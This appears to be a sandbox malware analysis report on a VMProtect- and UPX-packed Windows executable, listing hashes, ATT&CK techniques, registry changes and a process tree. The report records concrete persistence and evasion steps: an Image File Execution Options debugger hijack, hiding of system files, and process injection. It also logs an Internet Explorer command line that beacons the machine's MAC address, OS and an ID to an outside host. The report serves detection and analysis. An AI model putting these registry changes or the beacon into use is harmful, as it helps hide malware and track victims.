1e26f05d3c3ffe7152ced679bac4d6583d86f525dc8b4c2f58683dd5f65368fa

Analysis

max time kernel
149s
max time network
150s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26-11-2024 01:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
Size

256KB
MD5

9efad46c3e0b1db3fa7ed20c2a1e1363
SHA1

ba6c77e60584b33746fbdf99e8a2899f5ba1f28f
SHA256

1e26f05d3c3ffe7152ced679bac4d6583d86f525dc8b4c2f58683dd5f65368fa
SHA512

273bbd9d989254cecf9c010475cf8ad260f1ee358c23c8df61e7f3b3947a824c4172471e165a71441ad0edff1961d54247e67918118cd4c99a10029a690e5106
SSDEEP

6144:8+yFV0bgy2rM/kvt15RHxhZFtfaPNSfo/qPoPp:Ky2Q8V15VLccQ/qPox

Score

10^/10

discovery evasion persistence upx vmprotect

Malware Config

Signatures

Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Thunder5.exe\Debugger = "svchost.exe"	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Thunder5.exe	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

VMProtect packed file 9 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/2096-48-0x0000000000400000-0x0000000000412000-memory.dmp	vmprotect
behavioral1/memory/2096-55-0x0000000000400000-0x0000000000412000-memory.dmp	vmprotect
behavioral1/memory/2096-45-0x0000000000400000-0x0000000000412000-memory.dmp	vmprotect
behavioral1/memory/2096-43-0x0000000000400000-0x0000000000412000-memory.dmp	vmprotect
behavioral1/memory/2096-57-0x0000000000400000-0x0000000000412000-memory.dmp	vmprotect
behavioral1/memory/2096-63-0x0000000000400000-0x0000000000412000-memory.dmp	vmprotect
behavioral1/memory/2096-60-0x0000000000400000-0x0000000000412000-memory.dmp	vmprotect
behavioral1/memory/2096-79-0x0000000000400000-0x0000000000412000-memory.dmp	vmprotect
behavioral1/memory/2096-96-0x0000000000400000-0x0000000000412000-memory.dmp	vmprotect

Enumerates connected drives 3 TTPs 20 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

description	ioc	Process
File opened (read-only)	\??\E:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\K:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\M:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\N:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\P:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\S:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\X:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\H:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\I:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\L:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\Q:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\V:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\G:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\O:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\R:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\U:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\Y:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\J:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\T:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
File opened (read-only)	\??\W:	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

description	pid	Process	procid_target
PID 1708 set thread context of 2216	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	31
PID 1708 set thread context of 2860	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	32
PID 1708 set thread context of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2216-16-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-15-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-14-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-8-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-5-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-17-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-3-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-13-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-21-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-37-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-66-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-71-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-73-0x0000000000400000-0x0000000000457000-memory.dmp	upx
behavioral1/memory/2216-81-0x0000000000400000-0x0000000000457000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

description	ioc	Process
File created	C:\Windows\Tasks\9	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exeIEXPLORE.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

Processes:

IEXPLORE.EXEIEXPLORE.EXE

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Zoom	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\SearchScopes	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000953bd8210872ea40aad5946cc0771cd3000000000200000000001066000000010000200000008a46e793023c4ef40d6284ab85076c1f177f92537f7026afd4774e073d2ef28b000000000e800000000200002000000020beff601c96e4cb8aea3a34d93dcf60d28248ae7cf8dc589e4d7bb122a3619f200000006776d19b05b4fe649de3e8395e24486adc89d385daaa7f6e882073d5dbf5293f40000000a690d4048cf56722e59620f8802aa96e1fb3971c2efda64c6886a947a490c84e0ca591a64bf69bcb5057f59d695b17689e48236e09d798f36d5cdd61fe5406f9	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\PageSetup	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\InternetRegistry	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000953bd8210872ea40aad5946cc0771cd300000000020000000000106600000001000020000000d42d545a938f6a8a834d0c31521d55616bd34ec1057e2406648b77b55ed1f467000000000e80000000020000200000000576a40b40610a369f83ae63f5debb4535e00884ee8c92eb2bf09e101446226590000000caf88b282f4ace63eaa37aac08f06b5ed5281cfc6ef76480da89b6abd5beb4c6435ddec16c00c369bdcec30aa21215d69e030a546a42fa3ff82e46d3b6ff1117b022c60a36746e11a1eea2d539ed64ed6d0869587d34e7dab8a50c8d76f40a146dc9e32a9ec8cb1135b08eb2e32a575e164e916708eb975be8f10e09e899c2fff46d91d14ac5567d956261c70f083c154000000096011228e126de5b00611753855eb5d25be603a4459c533fe3e7b28e0b6e38700872b4c9ea7f5bac5524690b6cea69adcf7d777b5f473f7adddafaeaba1038aa	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\IntelliForms	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{45692E71-AB93-11EF-A094-FE6EB537C9A6} = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\LowRegistry	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 60b3961ba03fdb01	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "438745316"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Toolbar	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

pid	Process
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2096	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2096	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2096	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid	Process
476

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

description	pid	Process
Token: SeDebugPrivilege	2860	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exeIEXPLORE.EXE

pid	Process
2216	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2216	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2216	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
1336	IEXPLORE.EXE

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

pid	Process
2216	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2216	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
2216	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exeIEXPLORE.EXEIEXPLORE.EXE

pid	Process
2096	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
1336	IEXPLORE.EXE
1336	IEXPLORE.EXE
2168	IEXPLORE.EXE
2168	IEXPLORE.EXE
2168	IEXPLORE.EXE
2168	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exeIEXPLORE.EXE

description	pid	Process	procid_target
PID 1708 wrote to memory of 2216	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	31
PID 1708 wrote to memory of 2216	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	31
PID 1708 wrote to memory of 2216	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	31
PID 1708 wrote to memory of 2216	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	31
PID 1708 wrote to memory of 2216	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	31
PID 1708 wrote to memory of 2216	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	31
PID 1708 wrote to memory of 2216	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	31
PID 1708 wrote to memory of 2216	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	31
PID 1708 wrote to memory of 2860	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	32
PID 1708 wrote to memory of 2860	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	32
PID 1708 wrote to memory of 2860	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	32
PID 1708 wrote to memory of 2860	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	32
PID 1708 wrote to memory of 2860	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	32
PID 1708 wrote to memory of 2860	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	32
PID 1708 wrote to memory of 2860	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	32
PID 1708 wrote to memory of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33
PID 1708 wrote to memory of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33
PID 1708 wrote to memory of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33
PID 1708 wrote to memory of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33
PID 1708 wrote to memory of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33
PID 1708 wrote to memory of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33
PID 1708 wrote to memory of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33
PID 1708 wrote to memory of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33
PID 1708 wrote to memory of 2096	1708	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	33
PID 2096 wrote to memory of 1336	2096	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	34
PID 2096 wrote to memory of 1336	2096	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	34
PID 2096 wrote to memory of 1336	2096	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	34
PID 2096 wrote to memory of 1336	2096	9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe	34
PID 1336 wrote to memory of 2168	1336	IEXPLORE.EXE	35
PID 1336 wrote to memory of 2168	1336	IEXPLORE.EXE	35
PID 1336 wrote to memory of 2168	1336	IEXPLORE.EXE	35
PID 1336 wrote to memory of 2168	1336	IEXPLORE.EXE	35

C:\Users\Admin\AppData\Local\Temp\9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Users\Admin\AppData\Local\Temp\9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2216
- C:\Users\Admin\AppData\Local\Temp\9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe"
  2⤵
  - Modifies visiblity of hidden/system files in Explorer
  - Event Triggered Execution: Image File Execution Options Injection
  - Enumerates connected drives
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Users\Admin\AppData\Local\Temp\9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\9efad46c3e0b1db3fa7ed20c2a1e1363_JaffaCakes118.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Program Files\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://tongji.maxjust555.cn/avastcnzztj/dddxxx.htm?mac=530146273&os=windowsXP&ver=20090323&id=561061545
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1336 CREDAT:275457 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
972e7e36fe4bf0df18ba2c426a8bed9f

SHA1
5a0c785d2cedbe6409444c3afb121f9ddb776db5

SHA256
7b8c4f2ec157a81cc078d14d5874be545ca58833af20d7849dd6f358ddc39737

SHA512
ef1c254b14cf415aafa962aa9b789bacad1b0dae4cc7750a595dc65be214d48683a8a62ee35bb32dc36fdf12265e27dfea571385458b1d66e9dee2d191d04355

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
a7d774780848c735ad68e4f8a3847e5c

SHA1
05c95a33bf50ccfd84a1cc4baed43e3f90b92705

SHA256
3c439b6dfa17e8e8e8cfee10b4b4bf7c85229ce40c48cdbb6cb2b87a2d9e67e2

SHA512
9500dde7fc7795125b8029523619a6ee9eb131937baa8a71538e9263ec8668ac6d5ebb56ec90c7dcf457ebfcdf189fe667ad2a108a65acad398628496c961877

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
3e1f77f6717fabe39008d83682a1fca1

SHA1
0ff4b57be074f1bde169c8024b38b1030c7e10ce

SHA256
eb4489296e8de149f509fce2a1bb9652a22b59f74c15a4ab94472953b7077d07

SHA512
80f24fb57731534475347f33f5dd8a03d509b33429a51bc51a8d9a11248e5f102c03abbb69457762a1f3d91ff436eb5e0f4786691c9c2fb8695eb9fe12d21e3f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
3220b8396b72d60fe909a2631881085a

SHA1
f4f25ab09180ed5e3e20e026c2dc4c690c4a0963

SHA256
fed55714789df2dbd2eda0231caf7e0b36bbba87f32cee275e429118ccfdcdd8

SHA512
a2211618bfaeb8fc0fa6f9b53a4905f9a8b239925f98fff7609a814d7f6a046a68c74ec79782043c647bda13961eedd675ca21889268dd48669b1ce00f019d8b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
3675300127ab5f93350192869163972a

SHA1
f317eadfb5a5374f8ad204d33b14e78fe46df8d2

SHA256
a87c2585a468c0f15c764fbeecffa71e7c6d6e6eadf32b4529b83abe16a4eebd

SHA512
5b349326f44cccf6f4d8058bcaed5c96ea376d1d59bb48d65396a280d698a1d6e7bb0292c9cba798a7b444b3de79bd144f86970545a1fe167c870808e1688cff

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
683bc0852298801ef2261b9354cba3a4

SHA1
0445aca883ac4cbd8bb6caae0eae3cc84cd04853

SHA256
a7af7f25a1e36fd0968eadea7d30cfb1c5a6cd654af7b8607cc63ca5f3554d80

SHA512
603e23cd071f7690c107122a0763f51ef38ff93a6a137aa67986ded9dfeb652497cfa26f088d5b8984188c20d9c92cd91ac8dc17fb2f4410743b63abda9aeecd

Download Submit
